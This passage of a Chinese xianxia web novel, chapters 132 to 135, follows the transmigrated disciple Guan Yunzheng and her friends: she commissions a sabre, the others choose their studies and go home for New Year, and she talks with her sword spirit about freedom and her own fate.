“那闻师兄家中得有多富庶……”叶泯一时听呆了。鹧鸪山的土壤种类繁多,有相当一部分的土地不适合寻常耕种,只能种植茶叶,好在茶叶不愁销路,灵兽派也愿意给山下的农户们提供交通上的便利,是以日子还算过得去。 ——但也只是过得去而已。说到底还是南方水土丰饶,这也能种那也能长,农户们才能日渐富庶起来,还能和当地的商贾之家建立这样的贸易关系。 要是某一天,鹧鸪山下的农户们也能过上这样安稳的好日子就好了。 “闻师兄家中几代都是朝安商户,自然很有些本钱。”谭一筠像是看穿了他在想些什么,安抚似的在他肩头拍了拍。 “不过一直有说法,师父比师兄更有钱。”关云铮随口说道,“毕竟师兄小时候没上街丢过金叶子。” “那章先生离开朝安这些年,家业又是谁在打理?”叶泯问道,问出口才意识到不妥,又把嘴闭上了,“好像不该问。” “我听师父说过,章先生家族庞大,想必不缺人经营。”谭一筠将子不语拿在手中敲了敲,看向一旁的关云铮,“前面就是你说的那间铺子?招子还挺特别。” 只见那迎风招展的招子上写了几个大字:“自带图纸者优先。” 三人顿时了然:难怪先前不管做个什么,关云铮都要画图纸,原来是捷径。 关云铮相当熟练地从乾坤袋里摸出一张图纸,鬼鬼祟祟地绕到铺子前:“林前辈。” 林晗被她突然出声吓了一跳,险些把手里的锤子砸在脚面上:“小兔崽子又故意吓我!” 关云铮把图纸往他眼前一举:“想找您锻把刀,您看这次图纸画得怎么样?” 林晗粗略看了眼,撇嘴:“不怎么样,你就没有这方面的天赋,别勉强自己了。” 关云铮倒也不沮丧,毕竟手残这一点早在21世纪时便已得到多次验证,她早就释怀了。 “不过这个模样的倒是少见,又是什么怪东西?”林晗放下锤子接过图纸,打量着上面的图案。 “唐横刀。”关云铮往小板凳上一坐,“跟先前那些东西一样,都是别处看来的。” 林晗翻了她一眼:“这别处净产些稀奇古怪的东西,我这辈子也算见多识广了,竟全都闻所未闻,你当我是傻子?” 关云铮也不辩解,就坐在板凳上笑嘻嘻地看着他。 林晗简直被她磨得没脾气:“锻刀可跟先前那些东西不一样,你得想个刀铭。” 关云铮就等着他这句话:“想好了,就叫——霄汉。” 林晗扬起眉毛:“霄汉?” 关云铮点点头:“杳出霄汉上,仰攀日月行。”—— 作者有话说:杳出霄汉上,仰攀日月行。——李白《登瓦官阁》 典故来自热心人士鱼,让我们感谢这位提供了此书三分之二以上人名的同学(鼓掌) 第133章 把霄汉的图纸丢给林晗作为参考后, 关云铮又十分通人性地阐述了一番自己的需求,最后被林晗微笑着赶出了铺子。 “小崽子想法忒多,我自己看着来, 你哪凉快哪待着去吧。”林晗简直没脾气, 摆了摆手示意关云铮在他听得头痛之前离开自己的视线。 关云铮麻利地滚了,拉上在一旁等待的三位同伴往闻越家的农庄走。 叶泯被拽走前回头看了眼那铺子:“你同那匠人说什么了, 感觉他快疯了。” 其实也没什么, 只不过现在一回想,有点像是五彩斑斓的黑。 关云铮做了回缺德甲方,自觉理亏,没脸为自己辩解,遂含糊其辞道:“想法比较不切实际,实现难度比较大。” 谭一筠一脸看穿一切的了然:“估计图纸上是一回事, 你所说的又是另一回事吧?” 关云铮微笑:“就你懂。” 谭一筠摇着子不语笑了声。 “虽然我知道你只是习惯了,但现在我们在山下, 没有护山大阵,你不冷?”关云铮默然看着他摇扇子, 片刻之后还是没忍住这样发问。 以前看古装剧的时候, 关云铮就不能理解一年到头舞折扇的,结果穿到古代,自己身边竟然还真有一个要风度不要温度的, 搞得她都要开始怀疑这种老生常谈的剧情是不是“艺术来源于生活”了。 谭一筠大梦初醒似的收起子不语:“忘了不在山中了。” 叶泯叹为观止:“那您这一路在想些什么呢?忘性够大的啊。” 谭一筠惟妙惟肖地模仿了关云铮方才的语气:“就你有嘴。” 四人说笑间抵达了归属闻家的农庄, 正好碰见眼熟的农户推着一车瓜果蔬菜,从小路那头走来。 农户显然也认出了关云铮和楚悯,脸上流露出喜色:“两位姑娘来得巧,我正打算把这些送去山上呢。” 平日送菜大概都是关云铮对她笑笑,又伸手从乾坤袋里摸出上次下山时闻越塞给她的传音符, 用灵气激发后对着那头说道:“师兄,农庄要给我们送菜,你问问师父怎么收?” 闻越给她的这枚传音符能够即时通讯,另一边的回讯来得很快:“菜?我记得师父先前有个阵法来着……” “阵法?”关云铮回头看了眼正在跟农户交谈的楚悯,又下意识看了眼谭一筠,“寻常的传送阵法吗?” 闻越似乎在寻找着什么,声音忽远忽近的:“差不多?” 关云铮自己倒是有许多空闲,但农户指不定正忙着,这会儿也是抽出时间来送这些东西,经不住这样耗时间,于是只能一面挂着通讯,一面走到楚悯身边和农户解释。一时间几乎生出自己其实仍在21世纪,传音符是小灵通的错觉。 农户听了解释自然应下,加上手头确实有好些农活要忙,马不停蹄地又沿着来时的方向回去了。 “寻常传送阵的话,你应该也能解决?”关云铮这才扭头看向身后的谭一筠。 被她无端寄予厚望的人顿时面色复杂:“这么看得起我?”谭一筠只好对着一车东西开始布阵,“那边的传送阵在哪?” 闻越像是终于找着了,拿起传音符回答了一个位置。 谭一筠应声,将合拢的子不语随手插在腰间,专心布置起阵法来。 片刻之后,阵法的光逐渐将推车笼罩,上面的货物很快消失在四人的视线里。 关云铮拿着传音符问对面:“收到了?” 闻越那边传来一阵稀里哗啦的动静:“收到了,就是我险些被这瓦罐里的牛乳泼一脸。” 关云铮点点头:“反正泼了洒了,就从你那份奶茶里扣。” 另一边的闻越:“?” 目的达成,关云铮懒得再多说,同闻越打过招呼后,随手又将传音符塞回了乾坤袋里:“走了,我们蹭饭去。” **** “货物虽多,但计算起来,传送难度还没有之前在江县幻境中传送我们几人时大。”谭一筠正仔细品鉴农户端上来的粗粮窝窝头,“凡是承载、运送这一类的法阵或法器,多半都有这样的规矩,活物比死物所需的更多。” 关云铮正想说这跟乾坤袋的规则挺像的,忽然又想起乾坤袋计较的是“有形与无形之物”,倒不能完全等同于活物与死物,又默默把话就着窝窝头咽了下去。 窝窝头是用粗粮制作的,口感粗粝扎实,饱腹感强烈。农户们正准备给他们四人的晚饭,怕耽搁久了让他们挨饿,才给每人端了两个窝窝头上来,因着也担心他们吃太多被占了肚子不好克化,每人只有两个,没有更多。 关云铮掰一块吃一块,开口说话时脸向着叶泯:“接下来这十几日你打算怎么办?” 窝窝头干得噎人,叶泯正自给自足地倒水喝,闻言茫然道:“什么怎么办?不是照常教习?” 楚悯解释道:“云崽的意思应当是,你想不想学剑,亦或是学些别的?” 关云铮点了点头,在被噎得直想翻白眼的感受中对她竖起大拇指。 楚悯又补充道:“毕竟我跟随苏修士学乐器,谭一筠大概会跟随章先生学阵法,你呢?想学什么?” 坦白说,这件事叶泯并不曾仔细想过,他并不擅长音律,在音修一道上也没有太多天赋,虽然手头有件乐器,但也很少用到,尚未形成对决中使用乐器辅助的思维。 至于体术,似乎也就勉强比几乎不练武的楚悯好些,剑他没怎么练过,鞭子用得也只是稀松平常,没到可以用作武器的地步。 本就干涩的窝窝头忽然变得更为难以下咽,叶泯停下了倒水的动作:“是啊,我该学什么呢?” 农户们动作很快,还没等他们聊出点头绪,第一道菜已经上来了,看不出究竟是什么的绿叶菜,水灵得仿佛刚喝过一场露水就被端上桌了,碟底触到桌面的瞬间便散发出一阵清香。 关云铮接过农户递过来的碗筷,顺手分发出去后才说:“如果不知道学什么,不如想想遇事时,你第一反应会用什么?” 第一反应…… 关云铮像是随口一提:“我记得在幻境中,你脱手甩出符咒的动作很是果决,不如试试学符咒?” 叶泯一愣。 那些在他人眼中十分明显的下意识动作,本人是很难察觉到的。此刻经关云铮状似不经意地点出后,叶泯才后知后觉地意识到,来到归墟之后,遇事时自己的第一反应似乎确实都是拿出符咒,即使只是一些非常低阶的符咒,譬如让灵犀恢复原型大小的缩放咒,能放出火焰的燃焰咒。 正如楚悯遇事总是先卜一卦,谭一筠总是拿过子不语布阵,而关云铮会立刻拔剑一样,下意识的动作正好说明了一个人的天赋所在,或者更准确地说…… 菜还没上齐,关云铮百无聊赖地拨弄着筷子:“其实符咒倒未必是你的天赋所在,符咒之于你,可能只是一个舒适圈。” “舒适圈?”这不是多难理解的词汇,叶泯重复一遍后便大致明白了,“顺心而为的话……似乎确实可以称作舒适圈。” 虽然总有人提倡要“走出舒适圈”,但对于普通人来说,舒适圈并非能做得更好却不去尝试的堕落,而是窒息生活中难得的避风港,能找到自己的避风港已实属不易,为什么非得出去承受风浪呢?避风港之外又不是没有被风浪拍打的机会了,何必多折磨自己几遍? 强迫自己去过不想要的生活,最终只会抓紧机会在一切应该或不应该的时候真正地“堕落”。 摆烂一学期,只靠考前最后两天预习蓝皮书的关云铮如是想道。 对自己施行奖励制度是人之常情,学得累了就会玩得更狠,然而玩的时候多半就想不起学习了,这件事最终只会发展成恶性循环。 关云铮好不容易摆脱这样的恶性循环,现在只想在有兴致的时候练剑,不想学的时候摆烂,劳逸结合,反而能让她对练剑这件事保持期待。 她同样不想看到同伴陷入恶性循环,于是正色起来,拍了拍叶泯的肩膀:“你这么年轻,多的是机会慢慢试,看自己究竟想要做什么,修什么道,你的家人尚且没有逼你做决定,不用急于这一时。” **** 兴许是听进了关云铮的话,也可能是叶泯本就心里有数,那日从农庄回到归墟后,他便去找了褚老,告知了自己想要跟随褚老学习符咒的想法。 原本独自承受褚老拍打的闻越简直喜不自胜,当即拍着胸口表示有了同伴之后自己的符咒水平必能一日千里,让褚老务必收下这个徒弟,把褚老烦得抄着竹简又追了他半个学堂。 褚鹤贤把竹简砸出去,没管“哎哟”叫唤的闻越,看向叶泯:“平日教过的那些符咒,学得如何了?” 叶泯偷偷在校服衣角擦掉自己手心的汗:“褚先生想如何考核?” 褚鹤贤思忖片刻,报出了一串符咒名:“你按序画好,之后我来查看是否具备效用。” 叶泯翻找了一番自己带着的符咒练习纸,从中挑出褚老刚才点明的几个符咒:“多久之后?” 褚鹤贤估量了一番时间:“半个时辰?” 叶泯有些苦恼地皱了皱眉,褚鹤贤正要心软地放宽时限,便听他又说道:“弟子尽力。” 闻越象征性地叫唤了几声,没人搭理,自觉收了声,将压根没砸到自己身上的竹简还回来,听了叶泯此言忍不住挑眉:“这么有诚意?” 叶泯默默往衣服上又擦了一把汗:“有劳师兄督促。” 褚鹤贤原本要走,闻言又颇感兴趣地停住脚步,像是要看看闻越要怎么“督促”。 闻越骤然被架到这高度,还没搞清楚自己要“督促”什么,便已经“局促”起来:“太看得起我了,我也就坐在旁边看看,督促什么。” 褚鹤贤笑着摇摇头,自顾自地走远了。 那天叶泯究竟画出了具有怎样效力的符咒,关云铮等人一概不知,他们只知道自那一天起,叶泯便和闻越一同在褚老的教导下学习符咒了,高阶版的。 看叶泯展示完新学的高阶符咒,关云铮起身,把炒好的栗子端到章存舒面前:“师父,你想个法子吧,我不想剥了。” 其实栗子从农庄送来后,已经被放置了一段时间,里头的果仁萎缩了一些,与表面的膜脱离了,并且在下锅前已经被李演用刀开过口了,剥起来没那么费力。 ——但仙门法器实在是太好用了,万一章存舒真能做出个剥栗子的法器呢? 哪怕只是个寻常工具都行啊! 章存舒正品鉴着关云铮费了一下午工夫做出来的栗子酥,很能领会剥栗子一事中的艰辛,闻言点点头:“是该做个工具。” 人的精力毕竟很有限,能在衣食住行上省些力气,又何乐而不为呢? 关云铮得了承诺,继而得寸进尺:“那这些就交给师父剥吧,我练刀去了。” 章存舒:“?” 关云铮抓起一把栗子塞进乾坤袋里,又拉上楚悯往外面跑:“辛苦师父了我先走啦!” 叶泯默默起身,也抓了一把栗子进乾坤袋:“辛苦章先生了我也去练符咒了。” 谭一筠紧随其后:“掌门给我布置的阵法还没完成,辛苦章先生了。” 顷刻间四个小辈全部逃走,饭堂偌大一张桌子旁边仅剩章存舒一人。 章存舒笑着叹了口气,认命地一边剥栗子,一边构思剥栗子工具的制造—— 作者有话说:剧情节奏到这里比较好,所以字数有点少。 接下来大概会启动时间大法(也没那么大),总之会减少重要节点之外的描写(我尽量) 第134章 年节将至, 这一月没有幻境考核,离月底还有好些日子,弟子们便乘坐归墟分派的灵舟各回各家了。 亲眼见到章存舒拿出这么多艘灵舟, 站在一边送别同伴的关云铮都恍惚了, 忍不住靠近闻越问道:“师兄,这些灵舟全是师父的?”会不会太富了点?灵气够用吗?这得搭进去多少个供给灵气的阵法啊? 闻越还没来得及回答, 风轻云淡地站在两人身前, 如同标准仙侠角色一般的人就转过头来,对着两位徒弟堪称促狭地笑了笑:“是他们自家师门送来的。” 嚯。 到头来是羊毛出在羊身上,反倒给师父装了个大的。 关云铮对师父这一套做派叹为观止,待他转回身后又去跟闻越蛐蛐:“这些弟子认不出自家灵舟吗?” 闻越分析得头头是道:“那谁知道,你看师父那闲庭信步的模样多让人信服,谁会觉得这些灵舟是他从别处讨来的?灵舟又大多长一个样, 估计只有回到了师门,他们才能知道这些灵舟究竟归属于谁吧。” 虽然过程中没有任何人遭受损失, 但关云铮无端有种师父捡了大便宜的感觉。 好吧他确实捡到便宜了,至少这些弟子回去这一路, 都会琢磨“归墟是破落户”这个说法的可信度了。 关云铮看着同伴们的灵舟陆续腾空, 随后在符咒的作用下隐没入虚无,脚下一跃,御剑而起:“师父师兄, 我去练刀啦。” 闻越习以为常地朝她摆摆手:“早点下来吃饭。” 关云铮已经朝着来去峰飞去了:“知道啦——” 其实跟着任师姐练刀的感觉, 远不如跟着蒲先生练剑来得条理清晰,但是蒲先生说上了这几个月的课累了,这段时日也跑出去游山玩水了,她只能去找常年待在来去峰的任师姐。 而且跟任师姐练了两回刀后,她发现了两人之间的区别。 ——任嵩华不会因为她是师妹就留手。 蒲飞鸢课上指点或是喂招, 多数都会收着力道,虽然出招总是阴险得让人防不胜防,但若是真没防住,多半不会出什么岔子,关云铮在课上受过最重的伤,无非是虎口被震得裂了个小口子。 任嵩华则不同。她不会在自己没有防备的时候出招,甚至会好心提醒一句,但出手时的速度毫不留情,快得哪怕预先得到提醒也防不住。力道上则比蒲飞鸢刁钻很多,“卸力”一招被她使得出神入化,霄汉本就不怎么趁手,这段时日在她手下更是不知被打飞出去多少次。 若是在蒲飞鸢手下,武器被打飞,是定然要被说的,所以她哪怕虎口开裂也没松开过武器。 但任嵩华从不点评她的刀法或是剑技,将她武器打飞后也不继续进攻,只会默默收了剑,等她捡回武器再出手。 倒不是说两人的教学方式各有优劣,但她确实从这两种方式里学到了不一样的东西。 蒲飞鸢教会她必须将武器掌控在自己手里,这是要学会坚持;任嵩华教会她不必太在意失败,这是不计较得失。 看似互相矛盾的教学态度,诡异地共同构建成了关云铮当下的观念。 而蒲飞鸢昨日临行前又问了一遍那个问题:“想清楚你为何拔剑了吗?” 彼时关云铮伸手握住霄汉的刀柄:“因为我能。” 而此时,面对任嵩华的又一次提醒,她一把抓过被击飞出去的霄汉,“铿”一声对上裁冰狭窄的剑身。 唐横刀的狭窄与长剑的狭窄对撞,薄与薄互相在彼此的武器上撕开一道口子,关云铮数日以来第一次架住了任嵩华的攻势,握住了手中的刀。 任嵩华数日不变的表情也终于泛起了一点涟漪:“好,继续。” **** 灵舟落地的声音几不可闻,身处其中的叶泯挑开船舱的隔帘,从上面跳了下来,轻巧地落在叶浔身边:“哥!” 换作往日,叶浔通常只会平淡地“嗯”一声,最多再伸手摸摸他的头。 谁料他刚一站稳,叶浔竟毫无征兆地一侧身,伸出双臂将他抱住了。 虽然只是极其短暂的一瞬。 叶浔的情绪转瞬即逝,还没等叶泯好奇,他已经将手收了回去,正要点评两句近日听闻有关叶泯在归墟的所作所为,就见眼前一黑,方才被他松开的人扑了上来,比方才更用力地抱住了他。 叶泯还穿着归墟统一给弟子分发的校服,恒温的符咒恪尽职守,他的体温也因此热烘烘的,让刚从阴冷的雾气中巡逻回来的叶泯暖得有点恍惚。 好像刚出生的灵兽,毛茸茸暖乎乎的…… 叶浔这样想着,一阵风拂过,吃了一嘴自家便宜弟弟的头发,顿时黑脸了:“你头发飘进我嘴里了。” 叶泯手忙脚乱地把他松开:“都怪风,我头发理得可整齐了。” 叶浔不着痕迹地看了眼他乱七八糟的脑袋,忍住嘴角的笑:“嗯,整齐。” 叶泯回头看了眼灵舟,正要说话,就见叶浔伸手将它收进了乾坤袋里,一时间眼睛都瞪圆了:“那是我们的灵舟?” 叶浔收拾乾坤袋的动作一顿:“不然是谁的?” 意识到自己被骗,叶泯下意识要在心里腹诽两句章先生,忽然意识到他并没有说过这些灵舟都是他的手笔,只是大家看他自如的模样,默认了这一事实。 好吧,这样看来也不能怪章先生又捉弄他们。 叶浔没等到他的回答,倒也不在意,抓过他的手腕便往回走:“爹娘等你许久了,快些回去吃饭。” “你不问我在归墟学了些什么吗?”叶泯快步跟上叶浔的脚步,凑在他身边,“我还以为你要问。” 叶浔看了他一眼,稍微松开了一点抓在他手腕上的手:“你不是都在传音符里说了,我还问什么?” 叶泯一脸“这你就不懂了”的神情:“耳听为虚,眼见为实啊,你光听我说怎么能知道我的符咒进步了多少?我还想等你问我就给你演示呢。” 叶浔失笑:“等到了爹娘面前再演示吧,不差这一时半刻。” **** 楚恽起了个大早,天没亮就跑到山门等楚悯乘坐的灵舟。 楚泽枫照常晨起,路过山门见到他:“这么早。” 惯常无波无澜的语气,脸上是同样无波无澜的神情。 楚恽回过神向他点头:“父亲,小悯今日归家,我来此处等她。” 楚泽枫也点了点头,在他身边站定:“一起等。” 楚恽恭敬道:“是……啊?” 楚泽枫却没再理他了,情绪十分寡淡,看不出是否真的期待女儿的归来。 楚悯落地时看到的便是这幅景象。 楚恽还没等灵舟落稳,便迫不及待地御剑而起,凑到灵舟的窗边想同楚悯说话。 但灵舟只是个不通人性的器具,仅有的一点灵气都被用来识途,读不懂氛围,故而很没眼力见地与剑上的楚恽擦身而过,落在了楚泽枫的面前。 楚悯从船舱中走出来,见楚恽失魂落魄地御剑而下,原本要同父亲问好的话被暂时咽了下去——反正父亲也不在意:“哥哥?” 楚恽当下便被这一声“哥哥”哄得眉开眼笑,收了剑快走几步到妹妹面前:“路上可有颠簸?” 楚悯失笑:“灵舟能有什么颠簸?”与楚恽一来一回说过话后,她才转向一边默不作声的楚泽枫,“父亲。” 楚泽枫“嗯”了声,忽然走近一步,伸出手来。 他脸上几乎是面无表情的,配上这动作堪称莫名其妙,楚悯却福至心灵般地低下头。 只见楚泽枫的手落在她的头发上,轻轻摸了摸:“辛苦了。” 楚泽枫摸完便收手转身,没有一丝留恋似的,又去做自己的事了。 留在原地的两兄妹仿佛早已习惯他此番做派,神色无异地对视了一眼,并肩往门派中走了。 “这几月归墟教习,感受如何?”楚恽低头看向走在身侧的妹妹。 其实这几月来楚恽没少用灵牒传信询问她在归墟的状况,大事楚悯不曾落下,小事也没什么说的必要,楚恽见了她仍要这么啰嗦一句,纯属是习惯使然。 因为母亲去世得早,父亲后来又没有寻常人该有的感情吗?楚悯忍不住想。 也或许是叔父死后她受了太大的打击,所以兄长觉得需要对她多加关心吧。 “归墟教习的方式与天问相去甚远,教授武器的先生曾说我过于循规蹈矩,想来是受我派影响颇多。不过自出了第二次幻境,我倒不曾卜过卦了。”楚悯将早就说过的事换了种说法,又细致地讲了一遍。 楚恽认真听着,忽而想起先前楚悯主动告知的“律”,不由在她说完后问道:“现下我们周围可有你所说的‘律’?” 出幻境后兰珏来了一趟归墟,在苏逢雨隔壁住了几日,楚悯那几日在两人的共同教导下,对“律”的辨析与掌握又精进了几分。此刻闻言便闭上眼伸出手,在空无一物的空中抓了一把。 灵气到了金丹境界,会显现出独具修士特色的“颜色”,譬如任嵩华在使用剑诀时,灵气的颜色就是接近霜一般的冰蓝色;而苏逢雨的灵气,则更像是透着绿的水色…… “律”却没有颜色,也没有质感,在不精此道的人看来,等同于虚无。 因此哪怕楚恽认真地盯着楚悯的一举一动,也没能从中看出什么端倪。 不过楚悯并没有故弄玄虚的喜好,在做完“抓握”的动作后,便用另一只手从乾坤袋中取出了月下逢。 两手忽而靠近,月下逢如有所感似的,“捕捉”了那一团“律”,琴弦瞬间倾泻出一串乐音。 那乐音与穿行而过的风声如出一体,和谐得仿佛是两种乐器在合鸣。 楚悯收了手,抬起头看向楚恽:“哥哥,这是山间的风。” **** 谭一筠是三人中走得最晚的——因为他和师父不久前才见过,实在是不想回去挨批。 兰珏看过幻境后没说他反而安慰他,不代表此次回去也能安然无恙,毕竟崔师弟的事早已成为定局,幻境中的首要任务却逐渐演变成拯救崔师弟的性命,究竟是谁的执念在其中发挥作用,用头发想也能想明白。 执念深重对于修行之人来说是十足的坏事,境界越高,越容易受其掣肘,走火入魔的风险也会逐渐变高。 谭一筠自知理亏,没敢立刻回去,叶泯和楚悯相继离开后,他仍在归墟逗留了一阵子,倒也不久,只够他和步雁山聊些闲篇。 自从出了幻境,他便和叶泯楚悯一样不再上武器课了,叶泯改为跟着褚老学额外的符咒课,他则去跟着步掌门学阵法。 纵然他们四人前两次经历的幻境都是章先生布设的,但阵法一道上其实是步掌门更为精通。章先生在他最初找上门时,曾坦言自己阵法学得很是一般,幻境水平如此纯粹是因为它沾点歪门邪道,而他年少时就喜欢钻点邪空子,看自己的师父被气得吹胡子瞪眼。 步掌门对每门功课的态度则都是如出一辙的重视,没有偏颇,也没有短处,很适合在教导谭一筠的同时,指点一番他迷茫的内心。 当然,这番话章先生未曾提及,还是谭一筠在步掌门身边学了几日阵法后,由他分析的。 彼时步掌门给他倒了杯露水泡的茶,拨弄着一边的火炉,说道:“你重情重义,这是好事,为何会因此困惑?” 任谁经历过“重要之人死去,又在幻境中将人救活,出得幻境后得知一切是假”,这样的三个阶段后,都会有点接受无能,毕竟失而复得又得而复失,也就是他心态好又境界低,不然指定得失心疯,继而走火入魔。 但他也不能怪别人,因为幻境这东西完全见人下菜碟,他心有所想,幻境便依着他的想法变换,若是幻境能说话,指不定还要让他感谢自己一番,不然他都见不着崔师弟。 这样多重想法纠结之下,步掌门的问题虽简单,他也实在是开不了口了。 “死亡并不是很可怕的事,”步雁山将火炉里的栗子取出来,“师姐的躯体虽然早就陨灭,但她并没有离开我们,归墟中的一草一木,都沐浴在她的庇护之下,与她交换着灵气。” 他提起戚寻月的语气很平静,在屋外刮过的呼啸风声中,也不显得寂寥。 “你的师弟也并没有离开你,你把他记得这样深刻。”步雁山喝了一口茶,“你也并未在你所谓的执念影响下,去损害他人的利益。据我所知,那年动乱发生后,你赶回翠屏山时,几个参与其中之人并未完全伏诛,你不是也不曾杀了他们泄愤吗?” “我确实不曾……”谭一筠有些走神。 “论迹不论心,不论你心里是怎样想的,你并没有做什么出格的事,这就很够了,不必将自己当圣人要求。”步雁山说完这些后放下手里的茶盏,试探了一下手边栗子的温度,确认没那么烫手后才捡起来慢慢剥壳,“我也很想同云崽说这些,不过这些时日以来,她好像已经好多了,想来也不用我多说。” “云铮她……”谭一筠若有所思,很想说些什么,却恍然他想说的已经是过去了,于是改口道,“确实好多了。” **** 被人念叨的关云铮正在来去峰顶和摇羽聊天。 她刚和任师姐过了几招,单方面挨了几轮的打,剑和刀轮番被打出去几次,终于在某一次握住了手中的刀,接住了任师姐的剑。 裁冰的寒意凛冽,顷刻间便传递到了她握刀的手上,冻得她指尖略微失去了知觉。 那剑尖寒芒一闪,锋利的刃上似有风雪舔||过,迷了她的眼睛。 她只好凭借多日来接招的本能,闭上眼睛,将意念集中于右手腕处,旋身使力,将力量由全身灌注于肩臂,最终流向手掌,腕掌一同发力,一举震开了裁冰的冰霜。 冰棱清脆地落了一地。 关云铮不可思议地睁开眼:“我成功卸力了?” 任嵩华对着她短促地一点头:“今日先到此,我去练剑,你休息。” 还想再试一回的关云铮被她看穿,只好乖巧应下:“多谢任师姐。” 任嵩华没多说,转身朝试心玉走去。 关云铮的目光在那块被劈开了一条狭长裂隙的黑石上停留了片刻,怜悯地挪开了视线:希望石头没事。 不必继续练刀,关云铮把霄汉收入鞘中,准备带着摇羽下山。 原本听了剑诀便会自行出鞘的摇羽,此刻却不太听使唤,她念了好几次剑诀都没见动静,只好改自动挡为手动挡,把剑从鞘中拔了出来。 “睡着了?”关云铮明知故问。 摇羽几乎不用睡觉,就算要睡,也都养成了和她相同的作息,断没有白日里便入睡的道理。 既然没睡,那就是有心事。 关云铮挑眉:“怎么,因为我这几日都是练刀没有练剑,你不高兴?” 摇羽还是没吭声。 关云铮索性拿着剑在一边的石阶上坐下,将腰后的霄汉也解了下来放在一边:“当初你被师父强行赠与我时可是很不乐意的,一日不骂我三次都算好的,如今这是怎么了?我也并不是什么惊才绝艳的剑修,不值得你如此吧?” 剑的主人也证明了剑的水平,摇羽自然听不得她这样自我贬损,很快便出声道:“以前是以前,你如今大有进益却不再练剑,刀法与剑法并不完全相通,岂不功亏一篑?” 关云铮却没有直面回答它的问题:“你的剑身似乎也是师父随便在剑冢给你找的?” 摇羽怒道:“别转移话题!” 关云铮完全不生气,也不打算和它斗嘴,平静地继续问道:“摇羽,你想要自由吗?”—— 作者有话说:锵锵!请看文章详情页云崽人设卡![墨镜] 之后画手老师补货会去约别的角色的[撒花] 8.20→9.1,液172+评14+雷2=5140 以后加更就不晚上九点发了,写完就发,以示区分() 第135章 这话来得毫无预兆, 摇羽愣了片刻才说:“什么意思?” 寒风拂过,一片红透了的枫叶被风托着落在了关云铮的头顶,她若有所觉, 伸手将叶片摘下来, 自言自语似的:“原来山上的枫叶已经红了啊。” 摇羽悬浮而起,横在她面前, 雌雄不辨的少年音离带着点恼怒:“关云铮。” 被点名的人叹了口气, 无奈似的:“我也没说以后就不练剑了,但若你逐渐成长起来,从如今这样变得能看见外界、触碰外界,早晚都得离开的。” 摇羽勉强被她这个说法说服了:“这话说得好像你比我长很多岁。” 关云铮松开手,任由山风把枫叶卷走:“我倒也没有你想象的那么小吧?” 剑身晃了晃,想必处在其中的摇羽并没有听懂她的言下之意, 也没完全被她敷衍过去:“这都几个月过去了,怎么忽然说起此事?” 关云铮没吭声, 倒不是故意沉默,实在是有些不知怎么开口。 距离她上次听见“祂”的声音已经一月有余, 鉴于自己在原身最后的记忆中也听到过这声音, 她完全有理由揣测“祂”是这个修仙世界的神,或是什么更高的意志,自己来到此地也是因为“祂”。 但是关云铮依旧想不明白这样的举动有什么目的, 毕竟她在归墟待得好好的, 既没有遇到恶贯满盈、意图附身于她的大魔头,也没有被一道劫雷劈出惊世武功,平凡得不像是能被选中的。 总不能是“祂”掐指一算,觉得苍生道需要灌注点新的血液,而她这个刚死的医学生穿过来正好, 就把她拉到修仙世界了吧? 关键她也没学什么跟刻板印象中苍生道有关的东西啊? 甚至要论起来,整个师门中,只有师姐擅长医治人所用术法和其他疗愈手段,连日常炼丹的凌风起也只是个寻常丹修,并不专注于炼制治病救人的丹药,更多时候钻研的都是提升修为的方子。 这样一来,“祂”让她来到此世,究竟是图谋什么? 然而这只是这段时间以来,困扰关云铮的两件事之一,另一件则是……既然她能毫无来由地来到此世,未来也有很大可能会毫无预兆地离开。 她对自己的来去没底,这段时日以来一直在做最坏的打算,万一自己真的穿回了原世界,且没有任何生命状态的变化,那么原身死亡的事情无法更改,她也只会回到已经猝死的身体里。 这样的结局光是想一想就觉得无法接受,好像她来此一遭经历的一切,最终都只是变成死亡来临时的走马灯,让她弥留之际还怨愤难平。 她不是完全不惦念二十一世纪的家,毕竟原生家庭这种存在总是爱恨掺杂,压迫是真的,关心也是真的,精神上的忽视是真的,物质上的呵护也是真的。 她不能因为长大后逐渐开始清醒地观察世界,就对父母过往的爱护视若无睹,那就太没良心了。 但如果她真的有的选,如果真的必须选……她如今更想留在这个世界。过去的关云铮已经死了,就算回去也无法改变什么了,但是如今的关云铮借着关云筝的身体活着,或许还能做点什么,为她,也为关云筝。 哪怕把她的价值抛开不谈,不管是凭借这属于原身的躯体,还是她尚且算得上有趣的灵魂,在这个世界她收获了太多的善意和关爱,如果某天自己忽然消失或者死去,这些人会怎么想? 正如过去在二十一世纪,每次想要自杀前都会想到“如果她自杀,妈妈会不会伤心”一样,她又开始自作多情地思考这个问题。 早就看出她不是此世人却愿意收她做弟子的章存舒,不知为何初次见面便对她包容备至的师兄师姐们,第一个向她表达善意的同伴楚悯,倾囊相授的先生们,明明是邪修却愿意帮她的殷含绮…… 这些都是她与这个世界之间的连接,是她的牵绊,是她在此世得以稳固存在的精神锚点。 人该怎样割舍所有的牵绊呢? 关云铮做不到,也暂时不想再去想了,叹了悠长的一口气,在摇羽询问前改口:“算了,就算你不愿意也在我身边待着吧,反正我也用习惯了,到时一边御剑一边舞刀,岂不更带劲?” 摇羽原本憋了许多话要追问,闻言颇觉莫名:“不明白你在想什么。” 关云铮回头看了眼仍在专心练剑的任嵩华,任师姐不太讲究规矩上的小节,并且这些日子她们每日都见,没必要特意过去打招呼,索性默默御剑离开:“不明白也无妨。” 摇羽也并不是个心思深重的剑灵,很快将关云铮方才的“冒犯”抛到脑后,但还没忘了钦点个哄它高兴的贿赂:“这把剑是不是还没有剑穗?” 关云铮低头看了眼:“是没有,怎么?” 摇羽“哼”了一声:“你不是说万一我以后能看见了吗?方才说些奇奇怪怪的话,我还没消气呢,你编条剑穗给我,就不跟你计较了。” 被“大人不记小人过”的关云铮失笑:“这么好哄?不趁机多勒索一番?” 摇羽佯怒:“我是那种剑灵吗?” “我是,我是行了吧。” **** “本来到了这时候栗子正甜,可惜他们都回去了。”关云铮炒了一锅糖炒栗子,用章存舒研究出的工具剥着硬脆的壳,“有点可惜。” 褚老坐在一边吃她递过去的栗子仁,手边还放着近日的新式奶茶,闻言失笑:“他们不也都在南方?想来也能吃到栗子。” 专心剥完一大堆栗子的关云铮终于抬起头来,随手拿起属于自己的那个“马克杯”,喝了一口里面的奶茶:“那不是喝不着这奶茶了吗?” 栗子常有,栗子泥不常有,栗子泥和烤过的牛乳一起制成的奶茶更是此世罕见。 关云铮拿勺子舀了一口杯底的栗子泥:“褚老明日同我们一起过除夕吗?” 